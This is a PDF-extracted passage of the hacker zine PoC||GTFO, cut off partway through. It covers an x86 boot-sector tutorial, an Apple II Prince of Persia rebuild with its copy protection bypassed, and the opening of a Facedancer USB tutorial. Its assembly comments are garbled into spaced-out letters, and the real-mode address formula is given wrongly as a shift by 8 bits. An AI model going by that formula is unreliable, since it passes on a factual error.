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Legal Note: Permission to use all or part of this work for personal, classroom or any other use is NOT granted
unless you make a copy and pass it to a neighbor without fee. Just as Saint Leibowitz of Utah and his merry band of
bookleggers defended their hoard from the bonfires of the Simplification, you might one day need to defend your seeds
of 0day from Chris Soghoian and the ACLU’s—and who could imagine ACLU in that corner?—Anti-0day-Initiative.
Best of luck!

Reprints: This issue is published through samizdat as pocorgtfo04.pdf. While the recently successful Auern-
heimer appeal didn’t explicitly legalize enumerating integers, you might now feel safe in counting upward from
pocorgtfo00.pdf to get our other issues. Those who aren’t as brave can run unzip pocorgtfo04.pdf without fear
of legal repercussions.

Technical Note: Like many of our prior issues, this one is a polyglot. As a PDF, it renders to the document
that you are now reading. As a ZIP, it contains our prior issues and some of that good, old-timey mythology. As a
Truecrypt volume, its contents is a mystery, but “123456” might not have been the best choice of a password.

Not a .txt: We’ve been repeatedly asked to release as a 7-bit clean ASCII textfile, and while we too love textfiles,
we find this to be terribly unneighborly. Do you motherless children show up at a concert to scream, “Shut up and
play the single!”? Verily, I tell you, don’t be unneighborly! When you show up at a concert, scream “Play the song
that you practiced!” and enjoy the show!

Boss Reverend Doctor Pastor Manul Laphroaig
Dept. of PHY Michael Ossmann
Ethics Advisor The Grugq
Poet Laureate Ben Nagy
Funky File Formats Polyglot Ange Albertini
Minister of Spargelzeit Weights and Measures FX
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1 Call to Worship
Neighbors, please join me in reading this fifth issue of the International Journal of Proof of Concept or Get
the Fuck Out, a friendly little collection of articles for ladies and gentlemen of distinguished ability and taste
in the field of software exploitation and the worship of weird machines. If you are missing the first four issues,
we the editors suggest pirating them from the usual locations, or on paper from a neighbor who picked up a
copy of the first in Vegas, the second in São Paulo, the third in Hamburg, or the fourth in Heidelberg. This
fifth issue is written for the fine neighbors at Recon in Montréal.

We begin in Section 2, where Pastor Laphroaig presents his first epistle concerning the bountiful seeds of
0day, from which all clever and nifty things come. The preacherman tells us that the mechanism—not the
target!—is what distinguishes the interesting exploits from the mundane.

In Section 3, Shikhin Sethi presents the first in a series of articles on the practical workings of X86
operating systems. You’ll remember him from his prior boot sectors, such as Tetranglix in PoC‖GTFO 3:8
and Wódscipe, a 512-byte Integrated Development Environment for Brainfuck and ///. This installment
describes the A20 address line, virtual memory, and recursive page mapping.

The first of two 6502 articles in this issue, Section 4 describes Peter Ferrie’s patch to rebuild Prince of
Persia to remove copy protection and fit on a single, two-sided 16-sector floppy disk. (Artwork in this section
advertises the brilliant novella Prince of Gosplan by Виктор Пелевин. You should read it.)

The author of Section 5 provides a quick introduction to fuzzing with his rewrite of Sergey Bratus and
Travis Goodspeed’s Facedancer framework for USB device emulation.

In Section 6, Natalie Silvanovich continues the Tamagotchi hacking that you read about in PoC‖GTFO 2:4.
This time, there’s no software vulnerability to exploit; instead, she loads shellcode into the chip’s memory
and glitches the living hell out of its power supply with an AVR. Most of the time, this causes a crash, but
when the dice are rolled right, the program counter lands on the NOP sled and the shellcode is executed!

In Section 7, Evan Sultanik presents a provably plausibly deniable cryptosystem, one in which the ci-
phertext can decrypt to multiple plaintexts, but also that the file’s creator can deny ever having intended
for a particular plaintext to be present.

In Section 8, Deviant Ollam shares a forgotten trick for modifying normal locks with a tap and die to
make them pick resistant.

In Section 9, Travis Goodspeed presents an introductory tutorial on chip decapsulation and photography.
Please research and follow safety procedures, as chemical accidents hurt a lot more than a core dump.

In Section 10, Colin O’Flynn exploits a pin-protected external hard disk and a popular AVR bootloader
using timing and simple power analysis.

In Sections 11 and 12, our own Funky File Formats Polygot Ange Albertini shows how to hide a TrueCrypt
volume in a perfectly valid PDF file so that PDF readers don’t see it, and how to attach feelies ZIPs to PDF
files so that Adobe tools do see them as legitimate PDF attachments. (Yes, Virginia, there is such a thing
as a PDF attachment!)1

In Section 13, our Poet Laureate Ben Nagy presents his Ode to ECB accompanied by one of Natalie
Silvanovich’s brilliant public service announcements. Don’t let your penguin show!

Finally, in Section 14, we do what churches do best and pass around the donation plate. Please contribute
any nifty proofs of concept so that the rest of us can be enlightened!

poCoRgtfO
One last thing before you dig in. This issue is brought to you by Merchants of PoC. Are you a Merchant

of PoC, neighbor? Have you what it takes to follow the Great PoC Road, bringing the exotic treasures of
Far and Misunderstood Parts to your neighborhoods? Or are you a Merchant of Turing-complete Death and
Cyber-bullets? Fret not, neighbor: the only Merchants we fear are the Merchants of Ignorance, who seek to
ban or control what they don’t understand, and know not the harm they cause to the trade of Knowledge
and Understanding.

1So now you can put your attachments inside your attachments—but I digress. –PML
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2 First Epistle Concerning the Bountiful Seeds of 0Day
by Manul Laphroaig, Merchant of Dead Trees

Dearly Beloved,
Are the last days of 0day upon us? Is 0day becoming so sparse as to grace the very few, no matter how

many of the faithful strive for its glory? Not so.
For what is the seed of 0day? Is it not a nugget of understanding what those of little faith ignore as

humdrum? Is it not liberating the computing power of mechanisms unnoticed by those who use them daily?
Is it not programming of machines presumed to be set in stone or silicon?

Verily, when the developer herds understand the tools that drive them to their cubicled pastures every
day, then shall the 0day be depleted—but not before. Verily, when every tender of academic pigeonholes
reads the papers he reviews and demands to see their source, then might the 0day begin to deplete—but not
before.

For how can the sum of programs grow faster than St. Moore foresaw without increasing the sum of
0day? Have we prophets and holy ones who can cure the evil of using tools without understanding? Have
layers of abstractions stopped breeding blind reliance? Verily, on such sand new castles are being erected
even now.

So, beloved brethren, seek after 0day wherever and whenever the idolaters say “this just works” or “you
don’t need to understand this to write great code” or yet “write once, run anywhere.” Most of all, look for it
where the holy PEEK and POKE are withheld from those who crave them—for no righteousness can survive
there, and the blind there are leading the blind to the pits of eternal pwnage.

Similarly, pay no attention to the target of an exploit. The mechanism, not target, is where an exploit’s
cleverness lies. Verily, the target, the pwnage, and the press release are all just a side show. When the
neighbors ask you about BYOD, rebuke them like this: “It is not my job to sell you a damned iPad!”

So preach this good news to all your neighbors, and to their neighbors:

If the 0day in your familiar pastures dwindles, despair not! Rather, bestir yourself to where
programmers are led astray from the sacred Assembly, neither understanding what their pro-
gramming languages compile to, not asking to see how their data is stored or transmitted in the
true bits of the wire. For those who follow their computation through the layers shall gain 0day
and pwn, and those who say “we trust in our APIs, in our proofs, and in our memory models and
need not burden ourselves with confusing engineering detail that has no scientific value anyhow”
shall surely provide an abundance of 0day and pwnage sufficient for all of us.

Go now in peace and pwnage,
—PML
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3 This OS is a Boot Sector

by Shikhin Sethi, Merchant of 3.5” Niftiness

Writing an Operating System is easy. Explaining how to
write one isn’t. Most introductory articles on the same obfus-
cate the workings of the necessary components of an OS with
design paradigms the writers feel best complement the OS. This
article, the first in my PoC‖GTFO series on just how a modern
OS works, is different—it tries to properly, yet succinctly, ex-
plain all the requisite components of an OS—in 512 bytes per
article.

The magic begins with the processor starting execution on
reset at the linear address 0xFFFFFFF0. This location contains
a jump to the Basic Input/Output System (BIOS) code, which
starts with the Power On Self Test (POST), followed by ini-
tialization of all requisite devices. In a predetermined order,
the BIOS then checks for any bootable storage medium in the
system. Except for optical drives, a bootable disk is indicated
via a 16-bit 0xAA55 identifier at the 510-byte mark (end of
first 512-byte sector).2

If a bootable medium is found, the first sector is loaded at
the linear address 0x7C00 and jumped to. If none is found, the
BIOS lovingly displays “Operating System not found.”3

3.1 Real Mode

The first ancestor of today’s x86 architecture was the 8086, introduced in 1978. The processor featured no
memory protection or privilege levels. By 1982, Intel had designed and released the 80286, which featured
hardware-level memory protection mechanisms, among other features. However, to maintain backward
compatibility, the processor started in a mode compatible with the 8086 and 80186, known as real mode.
(Feature wise, the mode lacks realness on all accounts.)

Real mode features a 20-bit address space and limited segmentation. The mode featuring memory
protection and a larger address space was called the protected mode.

Note that the 16-bit protected mode introduced with the 80286 was enhanced with the 80386 to form
32-bit protected mode. We will be targeting only the latter.

3.2 Segmentation

The 8086 had 16-bit registers, which were used to address memory. However, its address bus was 20-bit.
To take advantage of its full width and address the entire 1MiB physical address space, the scheme of
‘segmentation’ was devised.

In real-mode segmentation, 16-bit segment registers are used to derive the linear address. The registers
CS, DS, SS, and ES point to the current code segment, data segment, stack segment respectively, with ES
being an ‘extra’ segment.

The 80386 introduced the FS and GS registers as two more additional segment registers.

20xAA55 is representable as 0b1010101001010101. The alternating bit pattern, with 0x55 being an inversion of 0xAA, was
taken as an insurance against even extreme controller failure. The same identifier is also used in other parts of the BIOS
interface.

3There is no deep reason behind 0x7C00 being the load address. This is how programming usually works (and standards
proliferate).
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The 16-bit segment selector in the segment register yields the 16 significant bits of the 20-bit linear
address. A 16-bit offset is added to this segment selector to yield the linear address. Thus, an address of the
form:

(Segment) : (Offset)

can be interpreted as,

(Segment << 8) +Offset

This, however, can yield multiple (Segment):(Offset) pairs for a linear address. This problem persists
during boot time, when the BIOS hands over control to the linear address 0x7C00, which can be represented
as either 0x0000:0x7C00 or 0x07C0:0x0000. (Even the very first address the processor starts executing
at reset is similarly ambiguous. In fact, 8086 and 80286 placed different values into CS and IP at reset,
0xFFFF:0x0000 and 0xF000:0xFFF0 respectively.) Therefore, our bootloader starts with a far jump to reset
CS explicitly, after which it initializes other segment registers and the stack.

; 16− b i t , 0x7C00 based code .
org 0x7C00
b i t s 16

; Far jump , r e s e t CS to 0 x0000.
; CS cannot be s e t v ia a ’mov ’ , and r e qu i r e s a f a r jump.
s t a r t :

jmp 0x0000 : seg_setup

seg_setup :
xor ax , ax
mov ds , ax
mov ss , ax

Stack

The x86 also offers a hardware stack (full-descending). SS:(E)SP points to the top of the stack, and the
instructions push/pop directly deal with it.

; S t a r t the s t a c k from beneath s t a r t (0 x7C00 ) .
mov esp , s t a r t

Flags

A direction flag in the (E)FLAGS register controls whether string operations decrement or increment their
source/destination registers. We clear this flag explicitly, which implies that all source/destination registers
should be incremented after string operations.

; Clear d i r e c t i o n f l a g .
cld

The A20 Line

On the original 8086, the last segment started at 0xFFFF0 (segment selector = 0xFFFF). Thus, with offset
greater than 0x000F, one could potentially access memory beyond the 1MiB mark. However, having only
20 addressing lines, such addresses wrapped around to the 0MiB mark. An access of 0xFFFF:0x0010 would
yield an access to 0x0000 (wrapped around from 0x10000) on the 8086.
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The 80286, however, featured twenty-four address bits. Delighted hackers, on the other hand, had already
exploited the wrap-around of addresses on the 80(1)86 to its fullest extent. Intel maintained backwards
compatibility by introducing a software programmable gate to enable or disable the twenty-first addressing
line (called the A20 line), known as the A20 gate. The A20 gate was disabled on-boot by the BIOS.

; Read the 0x92 p o r t .
in al , 0x92
; Enable f a s t A20.
or al , 2
; Bi t 0 i s used to s p e c i f y f a s t r e se t , ’ and ’ i t ou t .
and al , 0xFE
out 0x92 , al

3.3 Protected mode
Segmentation Revisited

The introduction of protected mode featured an extension to the segmentation model, to allow rudimentary
memory protection. With that extension, each segment register contains an offset into a table, known as
the global descriptor table (GDT). The entries in the table describe the segment base, limit, and other
attributes—including whether code in the segment can be executed, and what privilege level(s) can access
the segment.

At the same time, Intel introduced paging. The latter was much easier to use for fine-grained control
and different processes, and quickly superseded segmentation. All major operating systems setup ‘linear’
segmentation where each segment is a one-on-one mapping of the physical address space, after which they
ignore segmentation.

As paging was extended to cover most cases, segmentation was left with only an empty shell of its former
glory. However, it inspired OpenWall’s non-executable stack patch and PaX’s SEGMEXEC—both of which
couldn’t have been implemented with vanilla x86 paging.

Note that the new segment selectors are only valid for 32-bit protected mode, and we’ll reload them after
the switch to that mode.

; D i sab l e i n t e r r u p t s .
c l i
; Load the GDTR − the po in t e r to the GDT.
lgdt [ gdtr ]

; The GDT.
gdt :

; The f i r s t en try in the GDT i s supposed to be a
; n u l l entry , but we ’ l l s u b s t i t u t e i t wi th the
; ’ po in t e r to gd t ’ .
gdtr :

; S i z e o f GDT − 1 .
; 3 en t r i e s , each 8 b y t e s .
dw (0 x8 ∗ 3) − 1
; Pointer to GDT.
dd gdt
; Make i t 8 b y t e s .
dw 0x0000

; The code en t r y .
dw 0xFFFF ; F i r s t 16− b i t s o f l i m i t .
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dw 0x0000 ; F i r s t 16− b i t s o f b a s e .
db 0x00 ; Next 8− b i t s o f b a s e .
db 0x9A ; Read/ wr i t a b l e , e xecu tab l e , p r e s en t .
db 0xCF ; 0 b11001111.

; The l e a s t s i g n i f i c a n t four b i t s are next four b i t s o f
; l i m i t .
; The most s i g n i f i c a n t two b i t s s p e c i f y t h a t t h i s i s f o r
; 32− b i t p ro t e c t ed mode , and t ha t the 20− b i t l im i t i s in
; 4KiB b l o c k s . Thus , the 20− b i t 0b11111111111111111111
; s p e c i f i e s a l im i t o f 0xFFFFFFFF.

db 0x00 ; Last 8− b i t s o f b a s e .

; The data en t r y .
dw 0xFFFF, 0x0000
db 0x00
db 0x92 ; Read/ wr i t a b l e , p r e s en t .
db 0xCF
db 0x00

No More Real (Mode)

The switch to protected mode is relatively easy, involving merely setting a bit in the CR0 register and then
reloading the CS register to specify 32-bit code.

mov eax , cr0
or eax , 1 ; Set the p ro t e c t i on enab l e b i t .
mov cr0 , eax
jmp 0x08 : protected_mode

b i t s 32
protected_mode :

; S e l e c t o r 0x10 i s the data s e l e c t o r o f f s e t .
mov ax , 0x10
mov ds , ax
mov es , ax
mov ss , ax

3.4 Paging
“Paging is called paging because you need to draw it on pages in your notebook to succeed at it.”

—Jonas ‘Sortie’ Termansen

Virtual Memory

The concept of virtual memory is to have per-process virtual address spaces, with particular virtual ad-
dresses automatically mapped onto physical addresses for each process. Compared with segmentation, such
a technique offers the illusion of contiguous physical memory and fine-grained privilege control.

To brush up the concept of virtual memory, follow along with the hand-drawn illustration in Figure 1.

Virtual Memory (x86)

On the x86, the task of mapping virtual addresses to physical addresses is managed via two tables: the page
directory and the page table. Each page directory contains 1024 32-bit entries, with each entry pointing to a
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Figure 1: Virtual Memory

page table. Each page table contains 1024 32-bit entries, each pointing to a 4KiB physical frame. The page
table in entirety addresses 4MiB of physical address space. The page directory, thus, in entirety addresses
4GiB of physical address space, the limit of a 32-bit address space.

The first page table pointed to by the page directory maps the first 4MiB of the virtual address space to
physical addresses, the next to the next 4MiB, and so on.

The address of the page directory is loaded into a special register, the CR3.

Figure 2: X86 Paging

; 0x8000 w i l l be our page d i r e c t o ry , 0x9000 w i l l be the
; page t a b l e .

; From 0x8000 , c l e a r one 0x1000−l ong frame.
mov edi , 0x8000
mov cr3 , edi
xor eax , eax
mov ecx , (0 x1000 /4)

; S tore EAX − ECX numbers o f t ime .
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rep stosd

; The page t a b l e address , present , read/ w r i t e .
mov dword [ edi − 0x1000 ] , 0x9000 | (1 << 0) | (1 << 1)

; Map the f i r s t 4MiB onto i t s e l f .
; Each entry i s present , read/ w r i t e .
or eax , (1 << 0) | (1 << 1)
. setup_pagetab le :

stosd
add eax , 0x1000 ; Go to next p h y s i c a l add r e s s .
cmp edi , 0xA000
jb . s e tup_pagetab le

; Enable pag ing .
mov eax , cr0
or eax , 0x80000000
mov cr0 , eax

Extensions to the paging logic allowed 32-bit processors to access physical addresses larger than 4GiB,
in the form of Physical Address Extension (PAE). The same also added a NX bit to mark pages as non-
executable (and trap on instruction fetches from them).

Recursive Map

Figure 3: Recursive Page Mapping

In our simplistic case, the entire first 4 megabytes were mapped onto themselves, to so-called identity
map. In the Real WorldTM, however, it is often the case that the physical memory containing the page
directory/tables is not mapped into the virtual address space. Instead of creating a different page table to
point to the existing paging structures, a neat trick is deployed.

Before explaining the trick, note how the page directory and the page table has the exact same structure,
including the attributes. What happens, then, if an entry in the page directory were to point to itself? The
page directory will be interpreted as a page table. This ‘page table’ will have entries to actual page tables.
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However, the CPU will interpret them as entries corresponding to page frames, allowing you to access them
via the virtual address the page directory was self-mapped to. If that makes your head hurt, the illustration
in Figure 3 might help.

Translation Lookaside Buffer (TLB)

When a virtual memory address is accessed, the CPU is required to walk through the page tables to determine
the page table entry for the specified virtual address. However, walking through the page tables is slow.
In the worst case, a walkthrough requires the processor to do a lookup from RAM for the page directory,
followed by a lookup from RAM for the page table, where a RAM lookup latency is in the order of 100
times that of a cache lookup latency. Instead, the CPU maintains a cache of the virtual address to physical
address translation, known as the Translation Lookaside Buffer (TLB).

When a virtual address is accessed, the CPU first determines if a mapping is present in the TLB. Only
if the CPU fails to find one there, it walks through the actual page tables and then populates the TLB with
the translation.

A problem with the TLB is that changes across the page table don’t get reflected in it automatically.4
On the x86, there exist two mechanisms to flush particular entries in the TLB:

1. The instruction ‘invlpg address‘ invalidates the TLB entry for the page that contains ‘address‘.

2. Reloading CR3 with the address of a page directory flushes all the entries in the TLB. 56

3.5 Till Next Time
The article got us through the backward-compatibility mess that defines the x86 boot process, into protected
mode with paging enabled. In the next issue, we’ll look at x86 interrupt handling, the programmable interrupt
timer, multiprocessor initialization, and then the local APIC timer. We’ll also answer some unanswered
questions (like what happens if a page table entry doesn’t exist) and conclude with a (hopefully) nifty
proof-of-code.

Till then,

hlt :
hlt
jmp hlt

poCoRgtfO

4This is how PaX’s PAGEEXEC emulates the NX bit by memory trapping with very little performance overhead: it sets
the page table entries for the “data” pages to always trap, but allows a data access (i.e., EIP not in the accessed page) to go
through. After this, it immediately resets the page table entry, but relies on the TLB for repeated page accesses to not trap.
Truly, it is a work of art! –PML

5CR3 is usually reloaded to change the process context (will be covered across future articles). However, a change of process
does not require that the entries for the kernel pages in the TLB get flushed. To avoid so, the global bit in the page table entry
can be set, and global pages can be enabled in CR4. Doing so ensures that the entry for the specific page in the TLB can only
be invalidated via a ‘invlpg‘.

6The x86-64 architecture saw the introduction of tags as a part of the TLB entry, in 2008. Thus, each TLB entry is associated
with a particular tag, and context switches can only involve changing of the current tag.
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4 Prince of PoC; or,
A 16-sector version of Prince of Persia for the Apple ][.

by Peter Ferrie

Just in time for the 25th anniversary of Prince of Persia on the
Apple ][, I present to you the first ever two-sided 16-sector version!

The funny thing is that I never played it on the real Apple ][,
only on the PC. Even after I acquired an Apple ][ .nib version in
2009, I didn’t play it. Of course, the reason for that was, I was still
using ApplePC as my Apple ][ emulator, and it had a fatal memory-
corruption bug that crashed the game. Finally in 2014, I made the
switch to AppleWin. AppleWin had its own bugs, but nothing that
I couldn’t work around.

The retail version of the Apple ][ version of Prince of Persia came
on two sides of a single disk. The sectors were stored in 18-sector
format, and they were full. As a result, the 16-sector cracked ver-
sions all made use of an additional side to store those extra sectors.
In 2013, about a year after the source code was recovered, Roland
Gustafsson was interviewed and expressed the opinion that the three-
side version “was silly and really not impressive.” Taking this as a
challenge, I decided to make a two-sided 16-sector version.

I started with the “rebuilt from source” version. The first thing
that you will notice is that it looks different in one particular place.
The reason is that whoever built it used the 3.5” settings but placed
it in the 5.25” format. It means that it never asks to turn over the
disk when you reach Level 3. It prompts to “insert” the disk instead,
as though it is a single disk.

4.1 If you build it, they will come
So I decided to build it myself in an emulated Apple ][. As no one seems to have ported Git to this platform,
I went through a rather round-about ritual of converting and compiling the code.

First, I started AppleWin and formatted a DOS 3.3 disk. Onto this disk, I saved some binary files the
same size as the source files, then exited AppleWin. Now that the disk was ready, I used a hex editor to
change the file types to text, to avoid the need to carry the load address and size.

I converted the source code by changing all line endings from LF to CR, setting the high bit on every
character and inserting them in my own tool. (I really need to port that tool to ProDOS.)

Starting AppleWin again, I used Copy ][ Plus to move the files from a DOS 3.3 disk to a ProDOS disk.
Using the Merlin assemble, I loaded and assembled the source files, saving object files to disk. Now that the
object files were ready, I copied them back to the DOS 3.3 disk with Copy ][ Plus and exited AppleWin.

Finally, I extracted the files with another of my own tools that needs a ProDOS port, inserted images
at the appropriate locations in the track files, and used a hex editor to place those track files onto the disk
image.

4.2 Try Try Again, and Again and Again
The first thing that I noticed is that it won’t boot, as building the 5.25” version enabled the copy-protection,
which began in the boot phase. I worked around that one by bypassing the failure check.

The second thing that I noticed is that—thanks to another layer of copy protection—you couldn’t play be-
yond Level 2. The second-level copy protection relied on two variables, named redherring and redherring2.
The redherring variable was set indirectly during the boot-time copy protection check. However, the
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redherring2 was never set in the source code version. Presumably someone removed the code (but did not
notice that the declaration remained in the header file) because it wasn’t used in the 3.5” version, because
that version was not copy-protected. Unfortunately, without that value in the 5.25” version, you couldn’t
start the later levels. It was set in the retail 5.25” version, however, and thus we also found out that the
source code was only for the 3.5” version. I bypassed this problem by writing the proper value to the proper
place manually.

The third thing I noticed was that the graphics become corrupted on Level 4. The reason was yet another
layer of copy-protection, which was executed before starting Level 1, but the effect was delayed until after
starting Level 4. Nasty. :-) The end sequence was affected similarly. If the copy-protection failed, then
the graphics became corrupted and the game froze on Level 14 (the reunion scene). This was an interesting
design decision. If the protection was bypassed in the wrong way—by skipping the check on Level 4, instead
of fixing the variable that was being compared—then that second surprise awaited. I worked around that
one in the correct way, by bypassing the failure check.

The fourth thing I noticed is that the graphics became corrupted and then game crashed into text mode
when starting Level 7. The reason was the final layer of copy-protection, which was executed after completing
Level 1, but the effect was delayed until the start of Level 7. Very nasty. ;-) I worked around that one by
bypassing the failure check.

Finally, I checked the rest of the “rebuilt from source” version. The most important thing (depending
on your point of view) was that all of the hidden parts were missing—the hidden routines (see below) and
the hidden message (which was the decryption key for the original code). I also found that track $11 was
completely missing from side B, so the side B ‘ˆ’ routine (see below) caused a hang. Some of the graphics
data were truncated, too, when compared to the retail version which I acquired in the meantime. Even
though I didn’t notice any difference when I played it, I gave up on that idea, and just ripped the tracks
from the 5.25” retail version instead.

4.3 Turn Disk Over
Another interesting thing is how the game detects which side of the disk is in the drive. The protected version
uses a unique value in the prologue data for the two sides ($A9 and $AD), and uses an API to specify which
one to expect. Since a standard 16-sector disk also has a standard prologue, which is identical on both sides,
that was no longer an option for me. Instead, I chose to find a free sector in a location that was common
to both sides, and placed the special byte there. When the prologue API was used, I redirected my read
routine so that the next read request would first seek to the free sector and read the byte. If they matched,
then the proper side was inserted already. Otherwise, the routine would read the sector periodically until
that became true.

4.4 Size Does Matter
At a high level, the solution to the size problem is one of compression—technically, further compression,
since some of the data are compressed already. However, I required a compression algorithm that packed
well, was fast to decompress, and most importantly, small. The size limitation was significant. The game
requires 128kb of memory, and uses almost all of it. I was fortunate enough to find a small (4096 bytes)
region at $d000 in main memory, in which to place my loader and the read buffer. This was the location of
the original loader for the game. I simply replaced it with my own. I needed a read buffer within that region,
because I had to load the compressed data somewhere before decompressing it into its final destination. I
wanted the read buffer to be as large as possible, in order to reduce the number of read requests that I had
to make. Shown in Figure 4, I managed to fit the loader code and data into under 1280 bytes: 752 bytes of
code, 202 bytes for the sector table, the rest was dynamic data. That left me with 2816 bytes for the read
buffer.

That space was so small that the write routine (for saving the game after you reach side B) would not fit
in memory at the same time. To work around that problem, I separated the write routine, and loaded and
executed it dynamically when a save request was made. It was discarded after it has done its job.

13



Back to the choice of compression.
I have written Apple ][ implementations for two well-known algorithms: LZ4 and aPLib. I did not want to

write another one, so I was forced to choose between them. LZ4 was both fast and small (my implementation
was only 152 bytes long), but it did not pack well enough. It had to be aPLib. aPLib packs well (about
20kb smaller than LZ4), is fast enough when factoring in the reduced number of sectors to read, and small
(my implementation is only 228 bytes long, so less than one sector).

Some of the sectors are read only individually, some of them are read only as part of an entire track,
and some of them are read using both methods, depending on the context. Once I determined how each of
the sectors was loaded, I grouped them according to the size of the read, and then compressed the resulting
block. I gave myself only two days total for the project, but it ended up taking me about two weeks. Most
of that time was spent on finding an appropriate data structure.

I finally chose a variable length region set to describe the placement of the sectors within a track. This
yielded a huge advantage for the sectors which were read only in track mode, when the packed size of the
single region was too large for the read buffer. In that case, the file could be split into two smaller virtual
regions, compressed separately to fit. The split point was determined by splitting into all 17 pairs (1 and
17, 2 and 16, 3 and 15 . . . ), compressing the pairs, then identifying the smallest pair. The smallest pair
was chosen by the minimum number of sectors and then the minimum number of bytes. The assumption
was that it costs more to decompress fewer bytes in more sectors, than to decompress more bytes in fewer
sectors, even if the decompression was faster in the first case, because of the time to read and decode the
additional sector. However, the flexibility of the region technique allowed the alternative case to be used
without any changes to the code.

The support for the sector reads was flexible, too. Since the regions were defined only by their start and
length, I could erase the individual addresses from the 18-sector requests. This allowed me to move sectors
within a track, and to make the corresponding change in the 18-sector request packet. This was actually
needed for track 4. For track 4, the region that began at sector $0a did not fit into 6 sectors even after
compression. Fortunately, the region that began at sector 0 needed only 7 sectors, so the region at sector
$0a could move to sector 9. This was enough to get it to fit. For track $13, the first two sectors were never
accessed, so I could have moved sector 2 to sector 0, but there was no benefit to it.

Overall, my technique saved over 11 tracks on the first side, and over 16 tracks on the second side. Not
enough for a single-side version, though.7 ;-)

4.5 And Now for Dessert: Easter Eggs!
While digging through the game code, I found several hidden routines. When playing side B, press ‘ˆ’ after
completing a level to see an animation of Jordan waving, press a key at the end to view it again. In the byte
bastards version, type RAMROD at the crack page for a hidden message.

Before booting, hold both Apple keys, then press one of the following to activate hidden modes.

DEL Only on //GS, displays an oscilloscope.
! Displays a message, and then a lo-res animation.
ENTER Continually draws a fractal, press ‘c’ to change colors.
@ Displays a bouncing, spinning cube.
ˆ Pulses the drive head. Move joystick to change tone, sounds like a motorcycle.

Neighbors, is this not a tale of Shakespearean proportions and passions? A young prince, a mystery of
code broken by underhanded blows in the dark, the poisoned daggers of copy-protection that even perpetrators
forgot about—all laid bare by a contrived play of PoC! Is the Play the Thing, or is PoC the Thing, or are
they the Thing together? You decide! –PML

7As a point of interest, I experimented with concatenating the entire data together, and including the sector offset in the
table. That decreased the space quite significantly, but at a cost of increasing the size of the code, and making updating the
data extremely difficult. That version saved over 13 tracks on the first side, and over 18 tracks on the second side. However,
this was still not enough for a single-side version. In the end, it was not worth the effort, and it will not be released.
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# Side A Side B
00 trk
01 trk trk
02 sectors (00-0d) trk
03 trk trk
04 sectors (00-09, 0a-11) sectors (00-05, 06-11)
05 trk sectors (00-0b)
06 trk trk
07 trk trk
08 trk trk
09 trk trk
0a trk trk
0b trk sectors (00-05 / 06-11)
0c sectors (00-05, 06-11) sectors (00-0b / 0c-11)
0d sectors (00-0b / 0c-11) trk
0e trk trk
0f trk trk
10 trk trk
11 trk trk
12 trk trk
13 sectors (02-11) trk
14 sectors (04-11 / 00-03) trk
15 trk trk
16 trk trk, sector 01
17 trk sector 01
18 trk trk
19 trk trk
1a trk trk
1b trk sectors (00-08)
1c trk, sectors (0d-11) sectors (00-08 / 09-11)
1d trk sectors (00-08 / 09-11)
1e trk sectors (00-08 / 09-11)
1f trk sectors (00-08 / 09-11)
20 sectors (00-08, 09-11) sectors (00-08 / 09-11)
21 sectors (00-08 / 09-11) sectors (00-08 / 09-11)
22 sectors (02-11), trk trk

Figure 4: Tracks and Sectors
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5 A Quick Introduction to the New Facedancer Framework

by gil

Recently, I rewrote the Facedancer software stack with the goal of
making it easier to write new emulators for both well-behaved and poorly-
behaved devices. In this post I’m going to give an introduction to doing
both. I assume you’ve got a Facedancer board, python3, the pyserial
library, and a current revision of the code. I’ll start with a very brief
overview of the USB protocol itself, then show how to modify the existing
USB keyboard emulator code to emulate a different (yet still well-behaved)
device, and finally show how to take a well-behaved device and make it
misbehave in specific ways.

5.1 USB

The USB protocol defines a bunch of abstractions: Devices, Configura-
tions, Interfaces, and Endpoints. Some of these terms are a bit counterin-
tuitive, understanding of which is not at all aided by how they’re referred
to by users.

A Device is a physical thing that gets plugged into a USB port. A single physical device may present
itself to the operating system as multiple logical devices (think a keyboard with built-in trackpad or one of
those annoying USB sticks that pretends it’s both a USB mass storage device and a USB CD-ROM so it
can install adware). In USB parlance, each of the logical devices is not a Device, but rather an Interface.
I’ll get to those in a couple paragraphs.

When a device is connected to a host, the host begins the enumeration process, in which it requests and
the device responds with a bunch of descriptors that describe how the device can and/or wants to behave.
The device presents to the host a set of “configurations”; the host chooses exactly one of these and the device,
er, configures itself accordingly. But what’s a configuration? It’s a set of interfaces!

An Interface is a single logical device as mentioned above: a keyboard XOR a trackpad XOR an external
hard drive XOR an external CD-ROM XOR. . . From the perspective of writing software emulators for these
things, this architecture is actually kinda helpful: we can write a single interface implementing a keyboard
and then include it in various device implementations. Code reuse FTW.

Each interface contains multiple “endpoints,” which are the actual communication channels to and from
the host. Only one endpoint is required: endpoint 0 (EP0) is the bidirectional “control” endpoint, used
for exchange of descriptors on connection and optionally for asynchronous communication thereafter. (The
various ways a device and host can communicate are beyond the scope of this post and, considering the
tendency of device manufacturers to fabricate their own protocols to run over USB, probably intractable
to cover in any single document. Your best bet to gain understanding are either fuzz it or read the device
driver code.)

Endpoints other than EP0 are unidirectional so, in the case of something like an external hard drive
that needs to both send and receive large amounts of data, the interface will define two endpoints: one for
host-to-device (“OUT”) transfers and another for device-to-host (“IN”) transfers.

Lastly, the USB protocol (up to and including USB 2.0) is “speak when spoken to”: all device commu-
nication is initiated by the host, which means even more state machines and callbacks than you might have
been expecting.

With that, let’s go to the code.

5.2 A Simple Device

All of the source files are in the “client” subdirectory of the SVN tree. You can tell the new stuff from the
old:
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1. The old libraries are named GoodFET*.

2. The old programs are named goodfet.*.

3. The new libraries are named USB* (plus MAXUSBApp.py, Facedancer.py, and util.py.)

4. The new programs are named facedancer-*.

Start by looking at facedancer-keyboard.py. It’s pretty simple: we import some stuff, open a connec-
tion to the serial port, say we want to talk to a Facedancer on the serial port, then we want to talk to
the MAXUSBApp on the Facedancer, and we hand this to an instance of the USBKeyboardDevice class, which
connects the emulated device to the victim and we’re off to the races. Easy enough.

The good news here is that you shouldn’t have to ever worry about what goes on in the Facedancer
and MAXUSBApp classes; the entirety of the logic specific to any given USB device is contained with the
USBDevice class, of which (in this case) USBKeyboardDevice is a subclass. To create your own device, just
create a new class that inherits from USBDevice and customize it as you see fit. As an example, look at
USBKeyboardDevice.py for the implementation of the USBKeyboardDevice class.

Way at the bottom of USBKeyboardDevice.py, you’ll find the definition for the USBKeyboardDevice
class. It’s fairly short: we define a single configuration (notice the configurations are numbered from 1) that
contains a single interface, then we send that configuration on to the superclass initializer along with a bunch
of magic numbers. These magic numbers are primarily used by the host operating system to figure out which
